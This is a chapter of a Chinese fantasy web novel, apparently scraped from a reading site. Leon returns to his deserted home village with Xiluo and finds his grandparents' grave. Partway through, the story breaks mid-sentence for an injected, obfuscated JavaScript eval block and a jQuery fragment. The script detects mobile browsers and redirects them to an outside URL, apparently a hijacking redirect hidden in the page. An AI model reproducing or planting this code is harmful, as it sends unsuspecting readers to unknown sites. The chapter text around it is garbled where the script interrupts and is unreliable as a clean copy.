48. 霍特林
作品:《该死居然是福瑞控![西幻]》 沃伦尼尔距离甜蜜的家,大约是四场甜梦的距离。
一上车,希洛的睡意就冒出头来了,但大白天睡觉总显得有点奇怪,仿佛她是什么了懒到了骨子里的家伙,于是她决定小小地眯一会儿。
小憩可不是睡眠,不会有谁为此而批判她的。
话是这么说没错,一闭上眼希洛就睡得东倒西歪了,一会儿伴随着火车的摇晃倒在扶手上,一会儿佝偻着身子像是即将变异的魔物,害得里昂不得不在乡愁的间隙中抽空出来照看她,时不时就要帮她把垮下去的身子重新扶正,或者是在她晃到夸张时稳住她的身体。
就这么时而感叹一下家乡将近、时而承担起照看的责任,火车慢悠悠地停下了。霍特林站到达,他们该下车了。
“现在的火车上是不是被施加了昏睡法术?实在是太好睡了。”
希洛打了个长长的哈欠,给自己找了个借口。
实在睡了太久,她的脑袋都有点晕乎乎的了,头重脚轻的,走起路来都不自在,也难怪会被脚步轻快的里昂甩在身后。
“快来呀。”里昂冲她招招手,“我家离火车站可远了,还要走上很久呢。”
霍特林坐落在一片林区,并不是什么热闹的或是富裕的地方,但面积却意外得很辽阔,城镇与村庄星星点点地落在林区之中,里昂的家乡就在最边缘的那处小村子。要是步行过去,大概要走上一天一夜也不够,他想找辆马车过去,可走了好一阵,别说是马车了,连马匹和行人都没有见到多少。
并不繁茂的霍特林,似乎变得更加冷清了。镇上只有零零散散的几家店还开着,蔬果店里只有蔫吧的菜叶和果子,到处都是紧闭的房门,闭拢的窗框上落了一层灰。他们踏碎了落叶,这脆弱的响声几乎能够传到巷尾。
似乎,有点不太对劲。
直觉在这么告诉里昂,但是他不想面对现状。所以他还是会跑进无人的餐馆,询问是否能够租借马车或是马匹。
“你要马,是吗?”餐馆老板抬起松垮的眼皮,一脸疲倦,“我这儿有匹,只要你给钱,我就借给你。”
“真的吗?谢谢!”
“反正也没别的办法能够赚钱了……人都逃光了。”
现状不经意般落进里昂的耳朵中,于是他再怎么不想听、再怎么不想问,也不得不将藏起的话语说出口了。
“人们都去哪儿了?以前这里不是很热闹吗?”他的心脏跳得好快,几乎要从胸腔中呕出来,“其他……其他村庄呢,那儿总有人吧?”
“哪儿都没人了。魔王毁了这里。”
餐馆老板苦涩地一笑,扯出满脸苍老的褶子。
“魔王不停地压榨霍特林,杀了不少的人,释放出来的魔物把庄稼地都糟蹋了。好多人忍不下去,逃走了。前不久,圣特拉尔的冒险者杀死了魔王,大家虽然都觉得能喘息了,但是也觉得这里没救了,于是又走了一大波人,剩下的只有我们这些了。说实在的,我也想走了。”
好像有什么东西落在了里昂的头顶上,而后瞬间炸开了。他恍恍惚惚地,一时竟找不到自我的存在。
“你是说……”他喃喃着,“……你是说,人们都走了?”
“也可能死了。霍特林总有一天会荒芜的,这里没救了。”
“死了……”
这并不是里昂曾想过的可能性。
在想起家的时候,他确实会想要压迫和苦难,也会想到食不果腹的处境。他同样想到过死亡,却不曾想过,那可能是所有人的死亡。
大脑乱糟糟的一片,他有点无法思考了。
“去看看吧。”
一只手轻轻地搭在他的肩膀上——是希洛的手。
“也许你的村庄还是以前那样。”
里昂知道这句话只是安慰,是虚假的希望。但就算是虚假,也确实是希望没错。他瞬间感觉脑袋清楚了好多,匆忙点点头,一叠声地说着“你说的是”。
既然如此,就不要再磨蹭了——他也一点都不想磨蹭。赶紧付了金币(感谢借给他钱的希洛),跨上马朝着家的方向疾驰吧。重重叠叠的深绿色密林从耳边擦过,途径了几个过分寂静的村庄。一定是他们赶路的速度太快了,所以这段路上竟然一个人都没有遇到。
嗯。一定是这样的。
终端机上的地图上,霍特林的边界逐渐显露,眼前将是这段路途中最后的一座村子,里昂终于找到了他在火车上没有见到的熟悉感。
他到家了……
……到家了,然后呢?
空空如也的村庄裹着一层灰黑色的痕迹,敞开的房门与破损的窗户仿佛空屋的嚎叫。马蹄行过未翻土的田地,种植架早就垮在了土里,死去家畜的骨头躺在围栏里,空洞洞的眼眶看着里昂,整座村庄回荡着他的呼吸声。
在村公所的两条街外,奥格斯特家的裁缝铺关紧了门。镶在橱窗上的玻璃早就碎了,蒙上一层灰,恍惚地映出无数个里昂,而他呆呆地站着,看着里头的纺车。
像是突然回过神来,他撞开了裁缝铺紧闭的大门,顺着楼梯冲上二楼。
这里也布满了灰尘的气味,餐桌上摆着陶罐和碗筷,房间里的被褥已经叠整齐了,他的书包就放在床边。心爱的马车玩具一如既往地摆在床头。祖母的房间也依然整洁,放在床头的是针线盒。
整齐的、像是家人才刚刚离去的家,覆盖着一层灰烬般的灰尘,于是什么都褪了色。
“谁也不在……希洛,这里谁都不在。”
他们走了吗?或是说,他们死了吗?有谁知道吗?谁也不知道。
这不是里昂期待之中的归乡,这比他曾经有过的恐惧更甚。
希洛沉默着。她知道自己应该说点什么的,但是却不知道从何处说起,也不确定该怎么诉说。她好像也有点难过——为了一大群她讨厌的人类的消失而难过。
踟蹰着,她伸出手,轻轻按在里昂的肩膀上。
“没事……我还在这里。”
这话说着似乎有种很自大的感觉,说完希洛就有点后悔了,但她也想不到更好的了,更加没有办法把已经说出口的话语重新撤回。
这大概就是为什么,当里昂转身抱住她时,她一动也没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834052|172385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有动,艰难地与存续在大脑之中的厌恶感做斗争,忍受着这副柔软身躯带来的触感。
好在她用不着忍受太久,里昂忽然松开了她——倒不是突然想起了希洛讨厌人类的悲伤事实,而是他想到了一个重要的可能性。
“我该去墓地看一看!”他忽然兴奋起来,“如果祖父和祖母没有去世,那他们一定是离开了村庄。既然是这样,只要想办法找到他们就好了!对吧,希洛?”
“啊……嗯。”
“我们快走吧!”
希洛知道,里昂的期望一定是祖父和祖母没有去世,这样有朝一日总能够再度相见,所以当她在墓园中看到了刻着“奥格斯特”字样的那块墓碑时,几乎是想也没想地就用身体盖住了它,奇怪的动作差点引得里昂驻足。
“怎么了?”他问,“你累了吗,希洛?”
“呃——对。”希洛不自在地摸摸耳朵,“我坐在这里休息一会儿。你自己去找吧,抱歉。”
“好。”
勉强算是糊弄过去了。
等里昂走远了,她才被后背从紧贴着的墓碑上收回来。之后该怎么办,她完全没想好。难道要把墓碑偷走吗?这样好像不太好。而且让里昂怀揣着虚假的希望,这件事情显然更加不好。
希洛拿不定主意,也觉得坦诚太晚,纠纠结结之下,差点没看到里昂走回来了。好在她的反应足够快,马上就挡住了墓碑,刻在上头的半个字母都没让里昂看到。
“我知道哟,希洛。”
他忽然笑起来,依然是满怀期待的。
“就让我看看这块墓碑吧。”
希洛不想动,或是说不好意思动。
“其他的你都看过了?”她试图拖延。
“嗯。都看过了。”
“没有你祖父母的?”
“没有,因为他们的墓碑在这里,对吧?”
话都说到这个份上了,再遮遮掩掩的,显然也没有用了。希洛磨蹭着站起来,让墓碑上的“奥格斯特”落入里昂的眼中。
这是莱特·奥格斯特和玛丽昂·奥格斯特的坟墓。他们在里昂失踪的第三年双双去世,那时他还没能成为冒险者。
里昂站在墓前,但没有呆站太久。他似乎很快就回过神来了,也很快就接受了这个事实——当然了,也不能不接受嘛——他对着希洛笑笑。
“正巧,我以前就是在墓园附近见到双头蛇的。我们现在就出发去找蛇吧。”
说着,他便迈步了,还向希洛招招手,催她快点跟上来。
“见到双头蛇好像是我九岁时候的事情吧,我有点想不起来了。找到蛇之后我们就快点出发吧,不要再霍特林耽误太久。对了,希洛,你知道吗,双头蛇看起来和一般的蛇没有什么区别,就是有两个舌头,也有两条舌头。很怪吧?要是能找到一整窝双头蛇就好了,这样就能……”
“里昂。”
“怎么了?”
希洛忽然停住脚步,于是里昂也停下了。她注视着他,用仅有的一只蓝色眼睛。
“里昂,你需要哀悼的时间吗?”

